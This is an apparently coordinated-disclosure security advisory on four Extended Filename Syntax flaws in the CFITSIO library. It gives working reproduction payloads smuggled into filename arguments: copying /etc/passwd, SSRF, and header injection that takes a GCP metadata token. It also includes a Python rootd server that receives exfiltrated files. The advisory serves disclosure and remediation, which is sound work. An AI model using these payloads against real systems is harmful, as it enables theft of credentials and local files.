Security Advisory
CFITSIO Library

Created by Adrian Denkiewicz

05/12/2026

Overview

Doyensec researchers discovered and reported four (4) vulnerabilities in the CFITSIO Library. The work was conducted on the **cfitsio-4.6.3** (*386e719*) release.

It is important to reiterate that this report represents a snapshot of the environment's security posture at a point in time.

The findings detail security-relevant behaviors that impact applications using default CFITSIO APIs. These are not memory corruption issues. Instead, they result from abuses of legitimate, documented features enabled by default and described in the CFITSIO documentation under "File Names and Filters". These features are inherited by downstream software if CFITSIO Extended Filename Syntax is used. Depending on the program architecture, this feature may directly accept filenames supplied by an external caller. In such cases, all reported bugs could be reachable directly from an attacker-supplied filename. This makes remote compromise feasible in certain configurations where the library processes filenames from untrusted sources. Although no single finding was rated as Critical at this stage, an adversary could potentially chain or adapt these bugs to achieve full code execution or system compromise, depending on the environment and mitigations.

Exploitation of these issues is possible if an attacker-controlled `filename` parameter is passed to one of the affected API methods (`fits_open_file`, `fits_open_data`, `fits_open_extlist`, `fits_open_table`, `fits_open_image`, and `fits_create_file`). Doyensec's study of CFITSIO clients on GitHub indicates this is a common pattern.

Applications that instead use `fits_open_datafile` or `fits_create_datafile` avoid this behavior, as these routines open a FITS file without interpreting EFS directives. Even when they're used explicitly in third-party software, it is often due to syntax issues (e.g., files with parentheses not working correctly), rather than a clear understanding of EFS implications.

This report is a direct follow-up to Doyensec's previous CFITSIO research and advisories reported in the CFITSIO Library. This assessment focused specifically on the architecture and design of CFITSIO Extended Filename Syntax.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

CFITSIO-EFS-Q126-01. Arbitrary File Copy via Outfile Clause	
Vendor	NASA's HEASARC
Severity	**Medium**
Vulnerability Class	Insecure Design
Component	Extended Filename Syntax (EFS)
Status	Open
Credits	Adrian Denkiewicz

Description

Extended Filename Syntax (EFS) supports an "outfile clause" using parentheses. In this syntax, an input string such as `input.fits(out.fits)` is interpreted as: "Operate on `input.fits`, but first copy it to `out.fits`."

Consequently, when an application utilizes an EFS-aware API and passes attacker-controlled input as the `filename` parameter, CFITSIO can be manipulated into copying arbitrary files to attacker-specified writable paths as a side effect of opening the file.

The copy happens as part of CFITSIO's EFS handling. If the input is not a valid FITS file, CFITSIO will still copy the file before validation fails, leaving the artifact on disk.

In a practical attack scenario, the attacker would copy the files to a publicly accessible location, such as a web server's images directory.

Reproduction Steps

Build the Docker image using the provided Dockerfile in Appendix B. To reproduce the finding, execute the following command:

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '/etc/passwd(/workspace/foo)'
```

Observe that the container's `/etc/passwd` file has been copied into a host-visible directory.

Impact

Medium. Depending on the execution context, current privileges, and writable destinations, this can enable:

- Data exposure by copying sensitive files into a location readable by an attacker (e.g., a web server's directory).
- Local denial of service by overwriting important files.

Complexity

Medium. The issue is directly exploitable if the `filename` parameter, supplied by an attacker, is utilized in the EFS-aware methods.

Remediation

To maintain API compatibility and minimize exposure, Doyensec recommends implementing a runtime check for an environment variable, such as `CFITSIO_ENABLE_EFS`. If this variable is set, retain the current EFS behavior. Otherwise, interpret filenames as literal paths, disregarding EFS interpretation.

As a secondary measure, consider implementing granular feature flags to selectively disable high-risk EFS sub-features, such as the outfile clause and network drivers. However, this is of lesser importance than the primary opt-in control.

Alternatively, deactivate EFS support if the aforementioned methods are discussed and introduce new explicit methods to support EFS.

Resources

- HEASARC, "Output File Name when Opening an Existing File" https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node93.html

CFITSIO-EFS-Q126-02. Server-Side Request Forgery via Network Drivers	
Vendor	NASA's HEASARC
Severity	**Medium**
Vulnerability Class	Insecure Design
Component	Extended Filename Syntax (EFS)
Status	Open
Credits	Adrian Denkiewicz

Description

CFITSIO enables the opening of FITS files over network protocols such as `http://`, `https://`, `ftp://`, and `ftps://` through its network drivers. When an EFS-aware API is utilized, a filename that starts with one of these protocol prefixes is interpreted as a remote resource rather than a local file path.

Upon encountering such a filename, CFITSIO initiates an outbound network request to the specified host. Typically, it begins processing the referenced file. However, the drivers adhere to the same outfile clause as described in the previous finding. This allows an attacker to direct CFITSIO to any remote URL. CFITSIO will then download the response, save it to the selected path, and proceed to process the file.

This effectively transforms applications that use CFITSIO into SSRF gadgets that can save web content anywhere the process has write access. Both URL handlers accept virtually any standard URL string, including local IP addresses and arbitrary ports.

Reproduction Steps

Build the Docker image using the provided Dockerfile in Appendix B. To reproduce the finding, execute the following command:

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'
```

Observe that non-FITS file was successfully downloaded from `https://example.com/anyfile` and then saved as `/workspace/grabbed.file`.

Impact

Medium. Depending on the execution context, current privileges, and writable destinations, this can enable:

- Outbound network access to attacker-chosen hosts and ports.
- Access to internal or loopback-only services.
- Download of attacker-controlled content into attacker-chosen writable locations.
- Chaining with other EFS primitives (e.g., outfile clause) to increase impact.

Complexity

Medium. The issue is directly exploitable if the `filename` parameter, supplied by an attacker, is utilized in the EFS-aware methods.

Remediation

To maintain API compatibility and minimize exposure, Doyensec recommends implementing a runtime check for an environment variable, such as `CFITSIO_ENABLE_EFS`. If this variable is set, retain the current EFS behavior. Otherwise, interpret filenames as literal paths, disregarding EFS interpretation.

As a secondary measure, consider implementing granular feature flags to selectively disable high-risk EFS sub-features, such as the outfile clause and network drivers. However, this is of lesser importance than the primary opt-in control.

Alternatively, deactivate EFS support if the aforementioned methods are discussed and introduce new explicit methods to support EFS.

CFITSIO-EFS-Q126-03. Injecting Arbitrary HTTP Headers via CFITSIO HTTP Driver	
Vendor	NASA's HEASARC
Severity	**Medium**
Vulnerability Class	Injection Flaws (SQL, XML, Command, Path, etc)
Component	Extended Filename Syntax (EFS) drvrnet.c
Status	Open
Credits	Adrian Denkiewicz

Description

The CFITSIO HTTP network driver constructs outbound HTTP requests using string formatting routines that directly incorporate the user-supplied filename into the request line. The filename component of an EFS URL is not sanitized before its inclusion in the HTTP request.

When an application utilizes an EFS-aware API and passes attacker-controlled input as the filename, an attacker can inject additional HTTP request components, including arbitrary headers. This is achievable by embedding newline characters in the filename string.

This vulnerability is present in `drvrnet.c`, as shown in the following code:

```
snprintf(tmpstr,MAXLEN,"GET %s HTTP/1.0\r\n",fn);
```

In this code, `fn` represents the filename parameter, which is under the attacker's control.

This behavior transforms CFITSIO-based applications into HTTP request construction gadgets, with headers controlled by the attacker. This can be extremely beneficial for the attacker in scenarios where SSRF is mitigated by a requirement for additional headers, such as GCP or AWS metadata-services.

Reproduction Steps

Build the Docker image using the provided Dockerfile in Appendix B. To reproduce the finding, execute the following command:

```
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-
accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/
output.txt)'
```

This produces a request equivalent to:

```
GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor:Google
foo:.gz HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603
Host: 169.254.169.254:80
```

And stores the exfiltrated GCP token inside the `/workspace/output.txt` file.

Impact

Medium. Depending on the execution context, current privileges, and writable destinations, this vulnerability can enable:

- Full control over outbound HTTP request semantics when combined with Server Side Request Forgery (SSRF).
- Exfiltration of secrets protected by the requirement for additional HTTP headers.

Complexity

Medium. The issue is directly exploitable if the `filename` parameter, supplied by an attacker, is utilized in the EFS-aware methods.

Remediation

Ensure no white characters (e.g., CRLF, space) are smuggled within the `fn` parameter. This will prevent header and request injection.

CFITSIO-EFS-Q126-04. Local File Exfiltration via root Network Driver	
Vendor	NASA's HEASARC
Severity	**High**
Vulnerability Class	Insecure Design
Component	Extended Filename Syntax (EFS) drvrnet.c
Status	Open
Credits	Adrian Denkiewicz

Description

CFITSIO includes a legacy `root://` network driver that implements a variant of CERN's `rootd` protocol. This driver enables CFITSIO to stream FITS data to a remote server specified in the filename string and is included in default CFITSIO builds.

If an application uses an EFS-aware API and passes attacker-controlled input as the filename, this driver can be exploited to exfiltrate local file contents over the network. This is possible even if the application itself never performs any explicit outbound I/O.

The `root_openfile` method, implemented in the `drvrnet.c:4265` file, has a notable property. It checks for the presence of `ROOTUSERNAME` and `ROOTPASSWORD` environment variables. If these variables are not defined, it calls `fgets` to read those values from the `stdin`. It is unlikely that third-party code will have these variables defined. In many cases, the exploitation will be interrupted by an infinite wait for input. This behavior can be demonstrated by running the `fits-sample-opener` program interactively.

However, `fgets` will immediately return `NULL` whenever the CFITSIO client's `stdin` is closed or redirected to `EOF`. This occurs in many real deployments, such as containers, cron jobs, and pipelines. It is also possible that these variables are simply set on some legacy systems.

The second limitation is that the routine works only with FITS files. While stealing FITS files might pose a real risk in some environments, it is less practical. To steal arbitrary files, the attacker can use another feature offered by the EFS syntax. The `[b...]` raw-data clause instructs CFITSIO to fabricate a single primary HDU from the arbitrary byte stream. This can be combined with other filters to convert any raw data into a valid FITS file using the `[b500,1][*,*]` syntax. The number 500 specifies the application to exfiltrate exactly 500 bytes. The number of bytes must be adjusted for every attack (although lower values will also work, just not exfiltrate the entire file at once).

Although the `root://` driver primarily operates on FITS files, CFITSIO's Extended Filename Syntax provides raw-data clauses. These clauses allow arbitrary byte streams to be transformed into valid in-memory FITS objects, enabling exfiltration of non-FITS local files.

Reproduction Steps

Build the Docker image using the provided Dockerfile in Appendix B. Additionally, on yout host, start the `root.py` script provided in Appendix C.

To reproduce the finding, execute the following command:

```
docker run --network=host --rm cfitsio:4.6.3 \
  fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'
```

Observe that the container's `/etc/passwd` file has been exfiltrated to the host's root service (running on `127.0.0.1:1094`).

Because the string contains an outfile clause with a `root://` URL, CFITSIO opens the local file, apply requested filters, and then pushes a full copy over the stub server, even though nothing in `fits-sample-opener` requested any outbound I/O.

Impact

High. Depending on the execution context this can enable data exposure by sending arbitrary sensitive files to the attacker's root server.

Complexity

Medium. The issue is directly exploitable if the `filename` parameter, supplied by an attacker, is utilized in the EFS-aware methods. However, in some environments, the application might block and wait for the `ROOTUSERNAME` input effectively preventing the attack.

Remediation

To maintain API compatibility and minimize exposure, Doyensec recommends implementing a runtime check for an environment variable, such as `CFITSIO_ENABLE_EFS`. If this variable is set, retain the current EFS behavior. Otherwise, interpret filenames as literal paths, disregarding EFS interpretation.

As a secondary measure, consider implementing granular feature flags to selectively disable high-risk EFS sub-features, such as the outfile clause and network drivers. However, this is of lesser importance than the primary opt-in control.

Alternatively, deactivate EFS support if the aforementioned methods are discussed and introduce new explicit methods to support EFS.

Resources

- HEASARC, "Notes about the root filetype"
  https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node90.html

Appendix A - Source Code: fits-sample-opener.c

The following application has been prepared for demonstration purposes. It attempts to open a sample FITS file using the CFITSIO's Extended Filename Syntax provided as a first command line argument.

```
#include <fitsio.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void print_usage(const char *prog) {
    fprintf(stderr,
            "Usage: %s [--secure] <fits-file>\n"
            "       --secure  open via fits_open_diskfile to disable extended
filename syntax\n",
            prog);
}

static void ensure_ok(int status, const char *step) {
    if (status != 0) {
        fprintf(stderr, "FITS-sample-opener error during %s (status=%d)\n", step,
status);
        fits_report_error(stderr, status);
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char **argv) {
    bool secure_mode = false;
    const char *path = NULL;

    /* Keep logs ordered even when the process exits on error. */
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    for (int i = 1; i < argc; ++i) {
        if (strcmp(argv[i], "--secure") == 0) {
            secure_mode = true;
        } else if (strcmp(argv[i], "--help") == 0) {
            print_usage(argv[0]);
            return EXIT_SUCCESS;
        } else if (path == NULL) {
            path = argv[i];
        } else {
            fprintf(stderr, "Unexpected argument: %s\n", argv[i]);
            print_usage(argv[0]);
            return EXIT_FAILURE;
        }
    }

    if (path == NULL) {
        fprintf(stderr, "Missing FITS file path.\n");
        print_usage(argv[0]);
        return EXIT_FAILURE;
    }

    int status = 0;
```

```
    fitsfile *fptr = NULL;

    printf("FITS-sample-opener: preparing to inspect '%s'\n", path);
    if (secure_mode) {
        printf("Opening file in secure mode via fits_open_diskfile (EFS disabled)
\n");
        ensure_ok(fits_open_diskfile(&fptr, (char *)path, READONLY, &status), "fits
_open_diskfile");
    } else {
        printf("Opening file via fits_open_file (extended filename syntax enabled)
\n");
        ensure_ok(fits_open_file(&fptr, (char *)path, READONLY, &status), "fits_ope
n_file");
    }

    printf("Querying image dimensionality using fits_get_img_dim\n");
    int naxis = 0;
    ensure_ok(fits_get_img_dim(fptr, &naxis, &status), "fits_get_img_dim");

    long naxes[9] = {0};
    if (naxis > 0) {
        printf("Fetching axis sizes with fits_get_img_size\n");
        ensure_ok(fits_get_img_size(fptr, 9, naxes, &status), "fits_get_img_size");
    }

    printf("Result: NAXIS=%d", naxis);
    if (naxis > 0) {
        printf(" [");
        for (int i = 0; i < naxis; ++i) {
            printf("%s%ld", (i == 0 ? "" : " x "), naxes[i]);
        }
        printf("]\n");
    } else {
        printf(" (not an image / zero-dimensional)\n");
    }

    printf("Closing FITS handle via fits_close_file\n");
    ensure_ok(fits_close_file(fptr, &status), "fits_close_file");
    printf("Done.\n");

    return EXIT_SUCCESS;
}
```

Appendix B - Source code: Dockerfile

The following Dockerfile can be used to build a dockerized environment.

```
docker build -t cfitsio:4.6.3 .
```

Override the upstream version with `--build-arg CFITSIO_TAG=<tag>` or pin an arbitrary ref via `--build-arg CFITSIO_GIT_REF=<commit>`.

A new disposable container that mounts a current working directory into `/workspace` can be started using the following command:

```
docker run --rm -it -v "$(pwd)":/workspace cfitsio:4.6.3 bash
```

Add `--network=host` if you need to reach services on the host network while testing SSRF-style payloads.

```
FROM ubuntu:22.04

# Allow callers to pin an upstream release tag (default) or any git ref.
ARG CFITSIO_TAG=cfitsio-4.6.3
ARG CFITSIO_GIT_REF=""
ARG CFITSIO_PREFIX=/opt/cfitsio

ENV DEBIAN_FRONTEND=noninteractive \
    LD_LIBRARY_PATH="" \
    PKG_CONFIG_PATH=""

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        build-essential \
        ca-certificates \
        curl \
        git \
        pkg-config \
        automake \
        autoconf \
        libtool \
        zlib1g-dev \
        libcurl4-openssl-dev && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /tmp
SHELL ["/bin/bash", "-o", "pipefail", "-c"]

RUN set -euxo pipefail; \
    SRC_DIR=/tmp/cfitsio-src; \
    if [[ -n "$CFITSIO_GIT_REF" ]]; then \
        git clone https://github.com/HEASARC/cfitsio.git "$SRC_DIR"; \
        cd "$SRC_DIR"; \
        git checkout "$CFITSIO_GIT_REF"; \
    else \
        curl -fsSL "https://github.com/HEASARC/cfitsio/archive/refs/tags/$
{CFITSIO_TAG}.tar.gz" -o cfitsio.tar.gz; \
        mkdir -p "$SRC_DIR"; \
```

```
        tar -xzf cfitsio.tar.gz --strip-components=1 -C "$SRC_DIR"; \
    fi; \
    cd "$SRC_DIR"; \
    ./configure --prefix="$CFITSIO_PREFIX"; \
    make -j"$(nproc)"; \
    make install; \
    ldconfig; \
    rm -rf "$SRC_DIR" /tmp/cfitsio.tar.gz

COPY fits-sample-opener.c /tmp/fits-sample-opener.c

ENV PATH="$CFITSIO_PREFIX/bin:${PATH}" \
    LD_LIBRARY_PATH="$CFITSIO_PREFIX/lib:${LD_LIBRARY_PATH}" \
    PKG_CONFIG_PATH="$CFITSIO_PREFIX/lib/pkgconfig:${PKG_CONFIG_PATH}"

RUN set -euxo pipefail; \
    gcc -std=c11 -Wall -Wextra -pedantic \
        -o /usr/local/bin/fits-sample-opener \
        /tmp/fits-sample-opener.c \
        $(pkg-config --cflags --libs cfitsio); \
    rm /tmp/fits-sample-opener.c

WORKDIR /workspace
CMD ["bash"]
```

Appendix C - Source code: root.py

This is a minimal rootd server capable of receiving exfiltrated files. Start it by simply calling `python3 ./root.py`.

```
#!/usr/bin/env python3
"""Minimal ROOTD handshake stub for CFITSIO tests."""
import socket
import struct
from typing import Tuple

ROOTD_USER = 2000
ROOTD_PASS = 2001
ROOTD_AUTH = 2002
ROOTD_OPEN = 2004
ROOTD_PUT = 2005
ROOTD_GET = 2006
ROOTD_FLUSH = 2007
ROOTD_CLOSE = 2008
ROOTD_STAT = 2009

OP_NAMES = {
    ROOTD_USER: "ROOTD_USER",
    ROOTD_PASS: "ROOTD_PASS",
    ROOTD_AUTH: "ROOTD_AUTH",
    ROOTD_OPEN: "ROOTD_OPEN",
    ROOTD_PUT: "ROOTD_PUT",
    ROOTD_GET: "ROOTD_GET",
    ROOTD_FLUSH: "ROOTD_FLUSH",
    ROOTD_CLOSE: "ROOTD_CLOSE",
    ROOTD_STAT: "ROOTD_STAT",
}

def recv_exact(conn: socket.socket, nbytes: int) -> bytes:
    chunks = []
    remaining = nbytes
    while remaining:
        chunk = conn.recv(remaining)
        if not chunk:
            raise ConnectionError("connection closed while reading")
        chunks.append(chunk)
        remaining -= len(chunk)
    return b"".join(chunks)

def recv_message(conn: socket.socket) -> Tuple[int, bytes]:
    length_bytes = recv_exact(conn, 4)
    length = struct.unpack("!I", length_bytes)[0]
    op_bytes = recv_exact(conn, 4)
    op = struct.unpack("!I", op_bytes)[0]
    payload_len = max(0, length - 4)
    payload = recv_exact(conn, payload_len) if payload_len else b""
    opname = OP_NAMES.get(op, f"UNKNOWN({op})")
    print(f"recv_message: len={length} op={opname} payload_len={payload_len}")
    return op, payload

def send_message(conn: socket.socket, op: int, payload: bytes = b"") -> None:
    opname = OP_NAMES.get(op, f"UNKNOWN({op})")
    header = struct.pack("!II", 4 + len(payload), op)
```

```
    print(f"send_message: op={opname} payload_len={len(payload)}")
    conn.sendall(header)
    if payload:
        conn.sendall(payload)

def safe_send(conn: socket.socket, op: int, payload: bytes = b"") -> bool:
    try:
        send_message(conn, op, payload)
        return True
    except BrokenPipeError:
        print("Connection closed while attempting to reply.")
        return False


def handle_session(conn: socket.socket) -> None:
    """Consume ROOTD commands after the initial handshake."""
    logical_size = 0
    file_data = bytearray()
    while True:
        try:
            op, payload = recv_message(conn)
        except ConnectionError:
            print("Client disconnected.")
            break
        opname = OP_NAMES.get(op, f"UNKNOWN({op})")
        print(f"handle_session: received {opname} ({op}) payload={payload!r}")
        if op == ROOTD_PUT:
            meta = payload.rstrip(b"\x00").decode(errors="backslashreplace").strip(
)
            parts = meta.split()
            if len(parts) < 2:
                raise RuntimeError(f"Malformed PUT meta: {meta!r}")
            offset, length = int(parts[0]), int(parts[1])
            print(f"handle_session: expecting {length} bytes for PUT data at
offset {offset}")
            data = recv_exact(conn, length)
            logical_size = max(logical_size, offset + length)
            # grow buffer as needed
            end = offset + length
            if len(file_data) < end:
                file_data.extend(b"\x00" * (end - len(file_data)))
            file_data[offset:end] = data
            preview = data[:64]
            suffix = "..." if length > len(preview) else ""
            print(f"PUT offset={offset} length={length} preview={preview!r}
{suffix}")
            if not safe_send(conn, ROOTD_PUT, struct.pack("!I", 0)):
                break
        elif op == ROOTD_STAT:
            print(f"STAT requested; reporting size {logical_size}")
            if not safe_send(conn, ROOTD_STAT, struct.pack("!I", logical_size)):
                break
        elif op == ROOTD_FLUSH:
            print("FLUSH requested")
            if not safe_send(conn, ROOTD_FLUSH, struct.pack("!I", 0)):
                break
        elif op == ROOTD_CLOSE:
            print("CLOSE received; terminating session")
            safe_send(conn, ROOTD_CLOSE, struct.pack("!I", 0))
            break
        else:
```

```
            print(f"Unhandled opcode {op}; closing connection")
            break
    if file_data:
        print(f"Captured file content ({len(file_data)} bytes):")
        print(file_data.decode(errors="replace"))
    else:
        print("No file data captured.")


def main(host: str = "0.0.0.0", port: int = 1094) -> None:
    print(f"Listening on {host}:{port} for rootd clients...")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((host, port))
        server.listen(1)
        conn, addr = server.accept()
        with conn:
            print(f"Connection from {addr}")
            # Username
            op, payload = recv_message(conn)
            if op != ROOTD_USER:
                raise RuntimeError(f"Expected ROOTD_USER, got {op}")
            username = payload.rstrip(b"\x00").decode(errors="backslashreplace")
            print(f"Username: {username}")
            send_message(conn, ROOTD_AUTH, struct.pack("!I", 0))
            # Password
            op, payload = recv_message(conn)
            if op != ROOTD_PASS:
                raise RuntimeError(f"Expected ROOTD_PASS, got {op}")
            print(f"Password bytes: {payload!r}")
            send_message(conn, ROOTD_AUTH, struct.pack("!I", 0))
            # Open request
            op, payload = recv_message(conn)
            if op != ROOTD_OPEN:
                raise RuntimeError(f"Expected ROOTD_OPEN, got {op}")
            request = payload.rstrip(b"\x00").decode(errors="backslashreplace")
            print(f"Open request: {request}")
            send_message(conn, ROOTD_OPEN, struct.pack("!I", 0))
            print("Handshake complete; entering data loop.")
            handle_session(conn)

if __name__ == "__main__":
    main()
```

Disclosure Timeline

Date	Event
2026-01-20	Initial report sent to the CFITSIO maintainers
2026-01-21	Maintainers acknowledged receipt
2026-01-22	Full advisory shared with the maintainers
2026-05-07	Public disclosure at BSides Luxembourg 2026